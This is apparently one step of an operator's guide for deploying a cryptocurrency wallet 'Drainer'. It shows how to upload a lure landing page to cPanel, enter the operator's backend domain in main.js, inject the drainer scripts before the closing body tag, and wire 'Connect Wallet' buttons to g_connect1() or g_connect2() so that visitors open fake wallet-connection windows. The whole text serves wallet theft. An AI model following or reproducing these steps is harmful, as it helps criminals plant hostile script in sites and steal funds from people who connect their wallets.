8️⃣Landing page installation

In this section we bought Landing page domain, now we need to install the landing page on the hosting.

You need to host site files in cPanel:

1. Open your hosting control panel.

2. In the "Domains" section, select Domains:

3. Click on the root folder of your site to go to the root directory:

4. Delete all files contained in the root folder, except for the cgi-bin directory.

5. Click the "Upload" button

6. Select and upload the archive with your website files. Attention: cPanel hosting control panel only supports archives in formats: zip, gzip, bzip and tar.

7. Select the archive and click "Extract":

8. Enter the path to the directory where you want to extract the files. Then click the "Extract Files" button

9. Make sure that the site files were extracted directly to the site directory and not to a subdirectory.

Open the "Client" folder, go to the "assets" folder, open the "main.js" file and enter here our Technical domain (in the same format as it is specified in the file)

After making changes, transfer the "assets" folder to the root of our landing

Now open the site file where your landing is, usually called "index.html."

Scroll through the file to the end and find a special tag there that looks like this: </body>

As soon as you find it, write down the following lines of code right in front of it:

  <script src="./assets/w-modal.js"></script>
  <script src="./assets/w-loader.js"></script>
  <script src="./assets/modules.js"></script>
  <script src="./assets/main.js"></script>

Now you need to connect the Drainer to the button you need, or just an item on the page.

Most often, the buttons look either like this in the code:

<button class="button btn-dark"> Connect Wallet </button>

There are 2 functions that call the connection window:

1. g_connect1()

2. g_connect2()

The difference between them is that each of them, when pressed, calls different modal windows. For example, when calling the function “g_connect1()” This connection window will appear:

This is convenient when connecting from a PC, as well as the possibility of connecting mobile devices via WalletConnect

When calling the g_connect2() function, a model window will appear, which serves mainly for connecting mobile wallets, as well as third-party cold wallets like Ledger.

That is, in the final version it will look like this:

<button class="button btn-dark" onclick="g_connect1()">Connect Wallet</button>

Or like this:

<button class="button btn-dark" onclick="g_connect2()">Connect Wallet</button>

Uploading our landing to hosting.

Open our website and check.